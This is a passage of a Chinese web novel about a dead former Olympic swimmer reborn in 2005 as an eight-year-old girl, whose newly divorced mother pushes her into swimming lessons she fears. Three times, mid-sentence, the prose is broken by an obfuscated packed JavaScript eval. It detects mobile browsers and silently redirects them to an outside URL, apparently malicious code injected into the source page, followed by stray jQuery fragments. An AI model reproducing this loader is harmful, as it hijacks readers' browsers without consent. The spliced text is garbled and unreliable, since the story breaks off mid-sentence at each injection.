《冠军之路[游泳]》 1. 穿越 “你爸爸不要你喽！” “他去给别人当爸爸咯。” 昏沉中，李诺霜能听到有刺耳的声音一直在她的耳边回荡。 她好像陷入了什么奇怪的梦境当中。 梦里，她今年八岁，原来叫陈霜月，现在叫李诺霜。 过完暑假，她就该上小学三年级了，最大的烦恼是爸爸每天回来都很晚，妈妈有时候回来也晚，所以她总是不知道该去楼下哪家小餐馆吃饭。 不过，梦的最后，烦恼又增加了一个，她现在只有妈妈没有爸爸了。 这个梦也太奇怪了，她明明活到二十二岁，从来都没有见过父母的面，为什么会在梦里给自己虚构一对父母？ “这事没的商量，妈，你不用再劝我了。” “我忍不了了，这日子根本就过不下去。” “就是为了霜霜我才要跟他离！” “他有把这个家放在心里吗？一天到晚的不着家，平时从来不惦念孩子的是，给孩子买东西我还以为他转性了呢，结果是让孩子替他扯谎。” “他哪点有个当爸爸的样？” 再醒来，李诺霜能听到隔壁有人压低了声音在说话，但没有听到其他的声音，或许这是在打电话？ 睁开眼，李诺霜感觉自己的头一阵接一阵的疼，浑身也使不上什么力气，和感冒的头疼有点像。 房间里的环境不像是医院，也不是她熟悉的任何环境，这是哪？ 抬手准备揉揉眼睛，李诺霜当时就僵住了。 这明显就是一双属于小孩儿的手，手背上还有两道被红色水性笔画过的痕迹。 没等她研究到底发生了什么，喉咙的痒意就让她不自觉地咳嗽出声。 感冒是真难受，李诺霜咳得眼泪都冒出来了。 李凤兰冲进来以后看到的就是眼泪汪汪在咳嗽的女儿，她赶紧把电话给挂了，过来给李诺霜拍背顺气。 李诺霜看到李凤兰以后才反应过来了，面前这个人，跟她梦里的那个妈妈长得一样了。 所以，她现在变成了个八岁的小女孩？ 李凤兰见她咳嗽得没有那么厉害以后，赶紧出去给她倒了一杯温开水，看着她喝了一点后放到了房间里的书桌上。 抬手摸了摸李诺霜的额头，李凤兰的焦急肉眼可见：“怎么还是这么烫啊。” “霜霜，妈妈带你去医院，妈妈替你跟医生说只吃药，不打针，好不好？” 发烧的身体状态有点影响李诺霜的反应能力，她呆了一下，才反应过来这是因为原主怕疼，所以原主的母亲才会这么跟她商量。 生病了还是得去医院，李诺霜点点头。 不过为了不让李凤兰看出来不对，李诺霜还是补了一句。 “妈妈，你说的哦，不打针的哦。” 她以为自己这声妈妈可能会叫不出口，但实际上叫出口好像比她想象得容易了很多。 出来以后看到周围的环境，李诺霜有些迷茫，年代好像往前推了不少，有点接近零零年代的场景，不过具体是哪年，还不太确定。 到了医院以后，看到医院墙上挂着非常有年代感的电子钟，李诺霜终于确定了，原来这是2005年。 家里有房吗？周围的环境看着好像也是个小城市，不知道妈妈积蓄怎么样，要不劝她买个房？ 一量体温，李诺霜终于明白了自己的头现在为什么这么疼，体温39.6度，她不头疼谁头疼。 这种温度，想再逃避打针那是不可能的了，医生干脆利落地给她开了三大瓶盐水。 李诺霜有点纠结，她是哭啊，还是不哭啊？ 算了，实在哭不出来，不强求了。 伸手拉了拉李凤兰的衣角，李诺霜问道：“妈妈，回家了吗？” “霜霜，医生说要打针，打针好得快，打完咱们就能好。” 说话间，李凤兰已经做好了女儿哭闹的准备。 李诺霜实在是哭不出来：“能不打么？” 李凤兰摇摇头。 “那我能睡着了打么？” 这倒是可以，李凤兰爽快地答应了女儿的要求，同时也是松了口大气，好歹是没在医院闹起来。 李诺霜跟着李凤兰到注射区后直接就眼睛一闭开始睡觉，看起来是睡着了，其实完全没睡，头太疼了，真睡不着。 护士来给她打针的时候，李诺霜忍不住倒吸一口凉气，这身体对疼痛的敏感度是不是有点太强了？ 她之前抽过不少次血，可从来没觉得这么疼过。 李诺霜忽然就理解了原主为什么抗拒打针了，小孩子本来就怕疼，她疼痛敏感度还高，不怕打针才怪。 打完针，李诺霜的体温降下来了不少，她自己也感觉没那么难受，至少能够自己走路。 但李凤兰还是把她抱了起来：“霜霜今天表现得特别好，妈妈可以奖励你一个礼物，有没有什么想要的？” 又到李诺霜的知识盲区了，原主喜欢的她东西她不但不喜欢，反而还觉得有点占地方…… 一阵冥思苦想，李诺霜终于想到了。 “我同学有支笔特别好看，是钢笔，就是有一点点贵，妈妈我可以要这个做礼物吗？” 李凤兰在给孩子买学习用品这方面其实一向挺大方的，听孩子说要笔，当时就同意了。 “那你知道她在哪家店买的吗？知道的话妈妈现在就带你去。” 李诺霜点点头，和李凤兰一起去到了市里目前最大的一家书店。 这个书店有整整四层楼，文具在二楼的一个区，母女俩从三楼进去后往下走了一层，很快就来到了文具所在的区。 文具区是有人在这边担当介绍导购一职的，见母女俩过来，有两个导购特别热情地迎了过来。 “您好，是给孩子买文具吗？” “我们方圆书店的文具都是从大品牌进购的，品质是非常好的，我看您孩子是小学吧，我们这边也有趣味文具，可以提升孩子的学习兴趣的。” 李凤兰自己也做过销售，非常自然地回绝两位热情的导购。 “我们先看看，需要会找你们介绍的。” 被放下来的李诺霜走到放着钢笔的区域，看了一眼里面大致的标价，内心涌起无限后悔。 八十，八十，一百八，两百八，还有更贵的。 而她同学拿的那一款，标价588，这是什么概念呢？李凤兰上个月基本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562881|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工资1588。 她当然不可能跟李凤兰提这支要了李凤兰三分之一基本工资的笔。 从李凤兰的表情上也能看得出来，这里面有的东西的价格也超出了她的想象。 “没想到，现在的文具已经这么贵了啊。” “霜霜，你同学买的是那支呢？妈妈给你买。” 李诺霜在一众钢笔里快速挑选，一眼就相中了上面的一支50元的钢笔。 没办法，虽然还有两支40块钱的更便宜，但是那两支笔实在是长得有点丑，她怕她硬着头皮说这两支好看会被李凤兰怀疑审美。 “妈妈，是左边那个蓝色的那一支，是不是很好看？” 边说话，李诺霜边在心里给李凤兰疯狂道歉，一支笔花掉妈妈一天工资，对李诺霜而言，依然有点超过了。 李凤兰顺着李诺霜的方向看了过去，那支蓝色的笔笔盖上还有两颗星星，看起来确实是小女孩子会喜欢的东西。 “好，那妈妈让那边的阿姨给你取出来，你试试看好不好写。” 还没叫人，远方就有人快步向李凤兰走了过来。 “凤兰？你带孩子出来逛书店？” 李凤兰调转了方向，看向来人。 “是啊，美慧，你也来给孩子买东西？” “霜霜，来跟朱阿姨打个招呼。” 李诺霜看了对方一眼，乖乖问好：“朱阿姨好。” 朱美慧伸手了摸了一把李诺霜的脸：“这孩子怎么了？看起来怪没精神的，脸也烫。” “嗨，别提了，刚从医院带她打完针出来呢，寻思她这次打针没哭没闹的，给她买支笔当奖励，之后上学了也用得上。” 朱美慧有些惊讶：“还打针了啊，是怎么了？” “发烧，这孩子看着挺结实，但是每次一不注意就容易感冒，今年都感冒两回了。” “那得多锻炼啊。” 朱美慧突然表情就变得兴奋了一点：“今天不提起来我都忘了，小钱那个哥哥在咱们市新开的游泳馆工作你知道的吧，她说最近游泳馆请了个教练，专门教孩子游泳。” “学费也不贵，两百四还包教会，学会了以后也可以去游，等于是报班送个年卡，那年卡光办还得三百六呢。” “我给我儿子报了个，你家孩子要是身体不怎么壮实爱生病，你要不要也送孩子去学这个？” “我听他们说学游泳能让孩子长高。” “你要是也去，到时候咱俩还可以换着时间去接孩子，多好一事。” 这话说得李凤兰明显有些意动，她让店员给李诺霜取了笔出来试笔，然后自己拉着朱美慧走到了一边，明显是准备详细问问。 李诺霜现在哪还有心思试什么笔，一边胡乱在纸上画着道道，一边恨不得自己能长个顺风耳，听清楚李凤兰和朱美慧到底聊的什么东西。 妈妈，三思啊！办卡消费要谨慎，游泳那年卡能当年卡用么？一年能游泳的季节才几个月，这都过去一大半了。 看着李凤兰回来时脸上的笑容，李诺霜心中突然有了点不祥的预感。 不会吧妈妈，你是成年人了，你不能真的冲动消费吧，二百四它不便宜啊！ 2. 报班 不行，李诺霜觉得，自己不能坐视这种纯粹的浪费行为发生。 首先，她不需要有人教她游泳，其次，她也不是很想去游泳。 所以，这二百四花了就是纯粹的扔水里，还不带响的那种。 李凤兰笑容满面地走回来，看向李诺霜。 “霜霜，怎么样，喜欢妈妈就给你买了这支笔，再给你买本字帖练练字。” 李诺霜和原主小姑娘的字都有点偏鸡爪体，李凤兰让她练字，她还真找不到什么拒绝的理由。 看她愣住，李凤兰又明白了：“霜霜，妈妈给你买文具也不是让你放着不用的呀，你开学以后就上三年级了，写一手好字对你的成绩提升也是有帮助的。” “当然，妈妈肯定也不会让你写很多，每天就写一面，好不好？” 从李凤兰的语气里，李诺霜明白了，自己好像没有什么拒绝的权利。 “好的吧。” 摸了摸李诺霜的头，李凤兰自己拿过这支笔试了一下：“写起来还行，再给拿两瓶墨水。” 李诺霜在旁边纠结地扣手指，不知道自己要不要问游泳的事情。 还是问一下吧，李凤兰应该会跟她说的。 现在肯定还没交钱，没交钱就还有挽回的余地，这冤枉钱可不能花。 “妈妈，刚才那个阿姨是不是跟你说游泳的事情，你答应了吗？” “答应了啊，怎么了？” 李诺霜只觉得有点眼前一黑，妈妈你这么大个人了怎么能别人说啥就是啥。 “妈妈，可是我不想去游泳。” 李凤兰一边盯着人打包笔和墨水，一边给李诺霜解释。 “霜霜，游泳是很有用的，可以锻炼身体，也可以自救，甚至还能救人。” 有啥用啊，淹死的都是会游泳的，比如她本人。 哦，严格而言，她也不知道自己算不算淹死的，失血过多在水里沉了或许不能算溺亡？ 但能救人是真的，就是不确定自己救了人以后自己还在不在。 “反正不想学。” “妈妈也没有说让你马上就去学啊，你感冒还没好呢。” “而且说不定你到那以后就喜欢了呢？妈妈记得你小时候玩水玩得可开心了。” 遭，不知道李凤兰到底听到了些什么，这个态度好像很坚决的样子。 这可怎么办，她是真的不想去游泳啊，想起来这东西晚上不做噩梦都算是好的了，她怎么可能还自己主动往泳池里扎，这不就是纯粹的和自己过不去？ 李诺霜的这场感冒持续了四天，其中跑医院挂盐水花了两天，在家吃药花了两天，这四天里她是一点没闲着，绞尽脑汁地想要找到一个切入点劝服李凤兰不要让她去游泳。 可惜，不管是晓之以情动之以理，还是跟李凤兰撒娇耍赖，统统都不好使。 于是，穿越第六天，李诺霜硬着头皮跟着李凤兰出去买泳衣，更悲伤的是，她还得做出一副高兴的样子。 因为李凤兰是这么说的：“霜霜，以前带你去买衣服你不是最开心了吗？正好你最近长高了点，买完泳衣带你去买两件秋装。” 李诺霜表面兴高采烈地在说“好耶”，实际上她心在滴血。 她还不能跟李凤兰说，自己这两天晚上一直在做噩梦，梦里都是她在池子里肩关节脱臼，差0.05勇夺奥运铁牌的“壮举”。 这种事情就想不明白，一辈子都不可能想得明白的，就好像高考差一分没上国防科大，这就是一辈子的遗憾了。 军校不收复读生，她也没有第二次的奥运会。 李诺霜自认为不是一个怕疼的人，但这种感觉对她而言已经超越了疼的范畴，把她的心都割成了心碎的碎块，再也拼不回来。 小孩子是很难抵挡一个想让你学一门特长的母亲的，你妈说让你学二胡，你说你想学唢呐那都没有用。 这时候的儿童泳衣，还没有进入花里胡哨的阶段，李凤兰热情十足地在泳衣店里和一起来逛街的朱美慧挑选着泳衣的款式，每件都要给李诺霜看一眼。 李诺霜现在就像一个被拉出来逛街的敷衍怪，心里已经裂开成两半了，还不得不在嘴上做着回应，还不能让人看出来敷衍。 说实话，李诺霜以前就没有自己买过泳衣，她的泳衣来源一般是速比涛阿瑞纳以及其他泳衣厂商送，省队国家集训队发，教练买，没了。 她对泳衣的评价标准只有一样，训练的时候有没有影响她的水感。上面的花纹如何显然不在这个评价标准之内。 眼看着李凤兰和朱美慧的选择区间往连体带裙子边的方向靠，李诺霜也没办法再敷衍下去了。 开玩笑，现在这年代的泳衣材质可不像之后，这种款式的泳衣下水以后裙边沉得要死，好看是好看，但好看有什么用吧就。 要她选，选个最便宜的普通运动款就完事了，反正都是糊弄，也不能糊弄进去太多钱，二十块钱是她的极限了。 要是李凤兰又给她搭进去好几天的工资配装备，李诺霜不确定自己还能不能没有心理负担地不好好游。 现在，如果给她一次和李凤兰平等对话的机会，她只想说，妈你悠着点，这两天你都花了快五百了，以前存下来的钱不是这么暴力消费的。 就算真想暴力消费，咱买个房啥的它不香吗？ “妈妈，要不就这个吧。” 李诺霜在所有的泳衣里面精准地选中了一件标价15的，摸起来材质估计是涤纶，涤纶不咋吸湿，穿着会闷，还带静电易脏，弹性也一般。 这些缺点都掩盖不了它的巨大优点，便宜。 全店唯一一件1开头的十位数，还是运动泳衣的款式，没有花里胡哨的拉链裙边，更不是分体，要啥自行车。 而且，找件涤纶的连体泳衣也不容易，因为弹性的原因，这种材质都是做分体的多。 李凤兰略带犹疑地看了一眼这件被李诺霜挑中的纯黑色的泳衣，她倒没想到女儿是为了省钱，只是疑惑女儿的审美怎么突然发生了变化。 “霜霜，你怎么突然喜欢这种都是黑色的衣服了？” 李诺霜脑筋告诉运转，突然就瞥到了店里的电视里正在放的游泳比赛。 现在是05年，虽然电视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562882|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面的运动员跟她所知道的泳坛名将前辈们长得全都不一样，但不影响这个时代游泳成绩很受科技的影响。 不是生物科技，是材料科技，现在还没有出现打破平衡的鲨鱼皮，所以电视里所有的运动员们全都穿的从头到脚踝的长款泳衣，为的就是减阻。 一个镜头拍过去，出发台上清一色的泳帽泳镜黑色连体泳衣，别说判断运动员谁是谁了，不听解说你现在连比赛的是男子还是女子都很难一眼分清楚。 “电视里他们穿的都是黑色的。” 李凤兰将信将疑地看了一眼电视，又看了一眼女儿，感觉好像也有点合理的样子。 “那你进去试一试这件。” 李诺霜手上拿着店员给她找出来的适合她身高的码，进去试了一趟，出来给李凤兰看。 店员找到了推销的机会，极力给她推荐店里卖50的泳镜泳帽套装。 李诺霜当时只感觉很佩服，我泳衣买15的，你觉得我会买50的泳镜和泳帽？ 但她从李凤兰的表情里看出来了心动，这可不行，拯救亲妈的工资，她必须要努力。 从店里挑了一套加起来也是15的泳镜和泳帽，李诺霜往李凤兰眼前一摆：“妈妈，就这些吧，我想去买衣服了。” 李凤兰瞬间就懂了，原来孩子眼里泳衣不属于衣服。 也对，这孩子对游泳没什么热情，让她选肯定老大不乐意，但是衣服不一样，衣服是会穿着去学校的，好不好看很重要。 买完衣服，顺便在外面吃了个饭，李诺霜也见到了朱美慧的儿子，一个带着眼镜的看起来比她还单薄的小男孩。 吃完饭，这兄弟就要和她一块儿去泳池上刑了。 同是天涯倒霉蛋，一起去上兴趣班，惨。 四人一起去到了市里的游泳馆，这个游泳馆据说是市里申办省运会成功以后建的，有两个比赛标准池，一个室内一个室外。 现在室内的那个标准池因为不带观众席，所以用来给市队训练，而室外的这个标准池则是对外开放用于创收。 标准池对初学者而言就有个问题，池子最浅也得是两米，不分深水区浅水区，纯旱鸭子下去以后站直了也踩不到底，所以救生员得配够。 游泳班每个班每天开两个小时的课，开班时间排得密密麻麻的，上午两个班，下午两个班，非周末年卡自由游泳的时间只有晚上的六点以后。 李凤兰给她挑的放假的游泳班时间是下午的四点到六点，方便接送，这个点过去，正好赶上上一个时间段的人在上课。 第一堂课，一般是启发兴趣为主，这个教练教的是换气，实际上就是让小孩子在水里吐泡泡。 或许是因为孩子确实对玩水有一种天生的亲和感，总之池子里上课的小孩儿看着都挺开心的，就连她旁边这个一开始过来时老大不乐意的娃，好像也叛变了。 全场唯一笑不出来的人就是李诺霜了，她看到标准池以后整个人都在强撑，没吐是她身体控制能力优秀。 这对她而言和花钱买罪受没有任何区别。 你们来上兴趣班，我纯凌迟。 3. 抗拒 因为今天是第一节课，所以所有报课的孩子都可以有一个家长进来陪同。 再之后，家长要是想要进来全程陪同，就得按次付费了，也不是特别的贵，8块一次。 这个池子虽然是标准池，放满水可以达到两米一，但是为了最近方便开放，池子里水是不放满的，高度放的大概是一米九的样子。 当然了，这个深度也很深，但是小朋友在泳池边，一般都能勉强踩到底了。 第一天因为是家长开放日，所以家长待会儿如果想的话，也可以踩池边给自己的孩子做一定的辅助。 教练带着所有的小孩子一起在学习游泳前必备的热身动作，其他小朋友都饶有兴致地跟着教练在学。 唯独两个异类在其中，一个无精打采，另外一个生无可恋。 生无可恋的这个自然是李诺霜，而无精打采的是朱美慧的儿子，段宏宇。 对方看到动作同样懒懒洋洋，能偷懒就绝不做到位的李诺霜，就好像找到了失散多年的亲妹妹一样。 “你也不想学吗？” 李诺霜当时就有点想骂人，这哥们你好意思在我面前说这话？ 我现在要在这里上刑场到底是拜谁所赐啊，那不都是你亲妈凭借那不去售楼中心卖房可惜了的口才把我妈给鼓动下水了么？ 你家双职工，两百四这点小钱不算个事，我家呢？我妈在跟我那个不着家的傻X便宜爹闹离婚，抚养费不知道哪年哪月才能到手，我妈那点工资养活我们娘俩容易吗？ 但她现在是个八岁小孩，有牢骚也不能这么发。 “晒死了，谁想学啊。” 段宏宇找到了共鸣：“就是就是，我说我想在家学习，我开学还有奥数省赛，没有时间了。” “但我妈妈说，不能让我学成个书呆子，让我多出来运动运动，和其他小朋友有接触。” “她，她就是……” “刻板印象。”李诺霜面无表情甩出来四个字。 段宏宇深以为然：“对对对，就是这个，你成语储备真不错。” “它不是成语。” 李诺霜面无表情地拆了台。 但这哥们，看起来是个好好学习天天向上不善言辞的人，实际上是有点子社交牛逼症在身上的人来疯，被拆台以后他居然一点也不觉得尴尬，毫不受影响地继续往下说。 “不是成语没有关系，总之我妈就是刻板印象，觉得我读书好，又有点近视，就怕我读成一个书呆子。” “所以她强制压缩了我的学习时间，让我出来游泳。” “你呢，你妈妈是为什么让你来游泳。” 李诺霜生无可恋地抬头望天，不是她要故作惆怅，是上面的教练开始带着大家活动脖子。 她一望天头就养着不动了，宛如《等待戈多》现实版。 “我感冒了，我妈觉得我身体不好，让我游泳。” 段宏宇居然还赞同了起来：“那你妈妈没有说错，你经常感冒确实是需要锻炼。” 呵呵。 李诺霜现在满脑子是怎么让李凤兰放弃让她学游泳的三十六计，没空跟段宏宇这个小屁孩打嘴仗。 “唉，其实妈妈跟我好好说我也不是不能出来运动的，她就不能给我找点室内的运动吗？” “像什么乒乓球羽毛球篮球排球，不都是挺好的吗？” 李诺霜不搭话，不影响段宏宇的碎碎念，他好像也不需要有听众，只是想找个机会吐槽自己的妈妈。 但这个讲话的角落却引起了教练的注意。 “后面的两位同学，请你们到前面来，把我刚才教过的热身动作重新做一遍。” “如果你们做不好的话，我可是会有惩罚的哦。” 段宏宇有那么一点的慌：“什么惩罚？” “单独把我教你们的热身动作当众做十遍，到时候其他小朋友都进下一个课程，你们单独在这里完成你们的惩罚。” 段宏宇慌了，他无助的眼神看向了还在望天的李诺霜：“怎么办，刚才我们都没有认真听。” 李诺霜终于把头回归了正常的平视位置：“慌什么，罚就罚呗。” “可是被罚很丢人啊，我上学的时候就没有被罚过。” 这话说得：“你说话的时候就没想过会被发现？” 镜片后的眼睛写满无辜。 算了，跟小屁孩有什么可计较的。 “不想被罚就站我后面，跟着我做。” “教练，我们需要一点提醒，没有提醒，我相信就算是班上其他的小朋友，也没人敢保证自己能完全做下来。” 教练的目的本来也不是为难她们俩，只是为了让他们意识到热身的重要性而已，对李诺霜的这个要求当然是同意了。 “好的，我会给你提示你应该做什么动作，但不会提示你动作应该怎么做，这样可以吗？” “可以。” 段宏宇挺绝望的，你可以什么啊，教练教的时候你在望天，谁给你的自信。 但他现在已经是上了贼船，只能选择硬着头皮相信李诺霜。 李诺霜确实没怎么听教练在讲什么，但是热身动作这东西，她就是不带脑子也能全套地做下来。 所以，教练在前面报动作，她一板一眼地按照教练的动作做，段宏宇属于是半信半疑地跟着她一起做。 到第六个动作的时候，段宏宇发现不对了。 “你做的和教练教的不一样。” 李诺霜完全不当回事：“所以呢，都活动到肩关节了，不一样有什么关系。” 别说段宏宇了，教练都被她的这种理直气壮给惊到了。 他能感觉到，面前这孩子，对这些动作的学习是真的一点兴趣都没有，对他这个教练也没有敬畏之心。 有这么个刺儿头在班上，这队伍可就不好带了啊。 得想个办法改变她的态度，不然有她在这里，其他小朋友难免会受到影响。 教练一边念着接下来的动作，一边想着对策，到底要怎么激发她的兴趣呢？ “好了，虽然这两位同学做的动作并不和我说的完全一样，但是却是也是一套比较成体系的热身动作，也适合游泳这项运动。” 强调了一阵做准备运动的重要性，又讲了几个风趣幽默的游泳小故事，段宏宇都从被晒的抗拒中走了出来，全班就剩下一个面无表情油盐不进的李诺霜。 执教生涯小挑战了属于是。 “做完了我们的准备活动，就可以下水了。今天我要教你们的，就是在水上可以自由睡觉的方法。” “因为今天我们有家长在，所以请各位家长们下水协助孩子们完成这堂课的学习，下一堂课，我们就要借助浮板等工具来完成我们的学习了哦。” 听到能跟父母一起玩水，其他小孩子都兴奋了起来，兴冲冲地就想往水里跳。 教练赶紧去前面维持秩序，没顾得上已经默默往旁边的看台上一坐，看起来是准备落地生根的李诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562883|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜。 段宏宇看了看其他跳进了池子里的小孩，又看了看看台上坐着的李诺霜，最终还是讲义气在他心中占了上风。 “你不是说热么，为什么不去水里呢？” 李诺霜面无表情吐出三个字。 “我怕水。” “你骗人，你的表情一点都不像害怕。” “我好面子，怕在心里。” 段宏宇依然不信，但找不到什么反驳的理由。 正这时，朱美慧在水里叫人了：“小宇，你怎么还不下来啊。” “我妈妈叫我了。” “你去啊。” “你不去吗？你妈妈也在池子里等你。” 李诺霜不作回应，只把头扭向了一边，段宏宇犹豫地看了一眼她，最终还是往朱美慧的方向走了过去。 教练维持好了秩序，习惯性地清点了一下人数准备教课，这一点，还真少了个人。 回头一看，李诺霜坐在看台上发呆呢。 “谁是看台上那个小朋友的家长，把她带过来吧。” 匆匆换了衣服过来的李凤兰跟教练说了声抱歉，去看台上准备把李诺霜叫过来。 “霜霜，教练让大家下水了，你为什么不下呢？” 李诺霜偏着头不看水池的方向，也不看李凤兰：“妈妈，我开始就说了我不想游泳，我讨厌水，我讨厌游泳这项运动。” “霜霜，你不能这么任性，所有小朋友和他们的家长都在等你一个人。” “我没有让他们等我。” “霜霜，你是八岁的大孩子了，不能这么任性，人在这个世界上活着，就是要做很多你不喜欢甚至是你讨厌的事情。” “你不喜欢，但是你必须要去做，所以只能强迫自己喜欢。这就是妈妈今天要教给你的道理。” “妈妈给你一个自己主动的机会，我数三声，如果你自己不主动过去，妈妈就会把你扔下去，并且取消你下个学期的所有零食份额。” 李诺霜心里不屑一顾，零食算什么，她今天下水晚上就别想睡觉了。 人不吃零食顶多就是嘴馋，人睡不好觉迟早神经衰弱并且得精神疾病。 况且，她还不想这么早跟李凤兰摊牌。 虽然李凤兰有时候会急躁，生气了有时候也会打孩子骂孩子，有点虎妈那意思，但是她是很好的一个妈妈。 她下水以后根本就掩饰不住自己会游泳这件事，过去这么多年，她早就忘了真正的初学者应该是怎么样的了，游泳虽然是她的噩梦，但这项技能对她也像吃饭喝水一样简单。 所以，她只能选择让李凤兰生气了，怎么说她们都是母女，母女哪有隔夜仇。 况且记忆里原主也没少惹李凤兰生气。 让李凤兰生气以后她再表现好一点，过段时间李凤兰自己就会消气了。 “三，二，一。” 李凤兰从看台上一把抱起李诺霜，快步走向泳池边，把挣扎的李诺霜放进了水里。 李诺霜到水里以后立刻就不挣扎了，她整个人吐出一口气，然后直接沉底不动了。 教练人都吓傻了，这对母女怎么都这么彪，这就是有其母必有其女吗？ 亲妈是可以看着孩子沉在水里无所谓，但他不行，他得下水去把人捞上来。 李诺霜带着泳镜，再水底瞪大了眼睛透过池水看岸上的李凤兰，她其实也不确定自己能憋气憋多久，她只是在赌。 赌李凤兰会对女儿心软。 4. 内情 李诺霜上辈子的巅峰时期，肺活量八千七，水下憋气三分钟。 当然，退役以后肯定会掉不少，但是水下憋气的基本技能对她而言也是跟吃饭睡觉差不多的熟练。 重生后的身体肺活量目前是不怎么突出的样子，估计是没达到三年级体检的肺活量达标量的。 所以，李诺霜觉得自己虽然在入水前尽量吸入了氧气，但是也撑不到一分钟。 因为水压的存在，水下的每一秒都会让人觉得非常漫长，李诺霜有感觉到面前清澈的池水慢慢地在变得模糊，她甚至幻视了自己死前看到的场面。 水是浑浊中带着猩红的颜色，在不快不慢地流动。 她的求生本能告诉她这时候应该努力划水浮出水面，但是她的四肢已经失去了力量，过度的失血让她眼前逐渐变得黑暗。 值得么？应该是值得的吧，一条命，换了那么多个孩子继续的明天，不管是数量还是时间的长短而言，这都是一个合算的买卖。 缺氧的感觉一点一点地朝着李诺霜席卷而来，但李诺霜非常清楚地知道，目前这个时间长度并不会影响到她什么。 而且，只要她想，她随时都都可以浮到水面上去。 可她还是想等，想等到李凤兰心软松口，不让她继续学游泳。 或者换个方向，教练感觉教她破坏班级氛围，主动给她赶走了也行，说不定这钱还能退回来点。 四十五秒，教练快速跳下了水，把李诺霜从水底下捞了上来。 “这是干什么呢？孩子妈妈，水对没有学过游泳的孩子而言还是危险的，跟孩子有矛盾，也不能把孩子往水里扔啊。” 安抚了李凤兰，教练又过来对着李诺霜说话：“小朋友，你就这么不想学游泳吗？” “其实你是有天赋的，你居然能够一动不动地沉到水底下去，正常来说我们人如果在水里静止不动，是可以轻易地浮在水面上的呢。” 李诺霜根本就没有在听教练说话，她摘了泳镜和泳帽，定定地看着李凤兰。 “妈妈，我一定要学游泳吗？” “是。” “那如果我真的真的真的非常不想学，会怎么样呢？” “你没有选择的权利，你是我女儿，我让你学你就得学。” 李诺霜觉得自己这个时候应该哭闹，但她真的做不出来这种事情。 她定定地看了李凤兰一分钟，没有从李凤兰脸上看到一丝动摇。 “妈妈，如果你非要让我学游泳，那你就不要待在这里，你呆在这里，我就不会好好学习的。” “小朋友，这堂课是需要家长的帮助的，你妈妈不在你没有办法学习。” “你说了有辅助工具，我听见了。” 李凤兰把毛巾扔到了李诺霜的脸上：“跟你爸一个背时样。” “不让我来我还正省了功夫，你以为我请假陪你容易啊？” 李凤兰的工作说白了就是销售，上个月因为在和李诺霜的父亲闹离婚，所以请了很多天的假，业绩受到了影响，只有基本工资。 不然，平时李凤兰的工资不会只有这么一点。 送李诺霜出来学游泳倒是用不着请假，出去跑业务本来也有机动的时间，顺带着出来送李诺霜一下并不是特别耽误时间。 但是不能天天送，天天往一个区域跑业务，领导会怀疑。 好不容易跟心思不在家里了的丈夫离了婚，不光外面议论纷纷，连李凤兰的父母兄姐都不是很理解她，争来了抚养权的女儿还让她不顺心，李凤兰情绪也爆发了。 人总是这样，会对着最亲近的人不好好说话。 让李诺霜学游泳，李凤兰还存了点别的心思，从身材条件来看，李诺霜是适合游泳的。 五岁多的时候，李诺霜就被市体校去幼儿园选材的老师看中过，当时李凤兰没有同意，一个是因为李诺霜的年纪当时确实太小了，她舍不得。 另外一个就是她想让李诺霜走读书这条路，将来上个好大学，找个轻松点的工作，不用像她一样天天跑业务，连丈夫什么时候心思不在家里了都不知道。 现在之所以改变了主意，是因为李诺霜的成绩确实不够让她满意，李凤兰心里也是憋了一口气的，女儿在离婚后跟着自己，前途也不能太差了。 正好当年那个教练说过，游泳只要练到二级运动员，就有希望通过高水平运动员选拔渠道考大学，需要的分数比正常高考低很多。 所以她当时跟朱美慧就是在聊这个事情，朱美慧觉得当年李诺霜被体校的教练看中过，那学游泳说不定真能成为一条路。 李凤兰的这些思量当然不能对着只有八岁的女儿说，李诺霜也不可能跟李凤兰说我根本不是你女儿，我每天晚上做游泳的噩梦你放过我吧。 拜托朱美慧帮忙看着自己的女儿，李凤兰换回衣服以后就拎着包出去跑业务了。 虽然没练过体育，但学体育的孩子比其他孩子消耗更大，更需要补充营养，她还是知道的，这个月的业绩不能只有上个月那么点了，不然真养不起女儿。 朱美慧看着这对母女，也有些头疼。 李凤兰的性格她是了解的，在有的时候就容易死犟，甚至跟主管都犟过，要不是她业务好，经理看重她，她上个月频繁请假的时候就要被主管找借口开了。 现在看来，李凤兰生的这个女儿，在性格上跟她是像了个十成十，刚见面的时候看着怪文静的一个小姑娘，现在闹起脾气来了跟她妈妈简直不要太像。 “霜霜，来，过来阿姨这里来。” “阿姨带着你一起学嘛，待会儿我们游完了阿姨带你和小宇哥哥一块儿去吃东西去。” 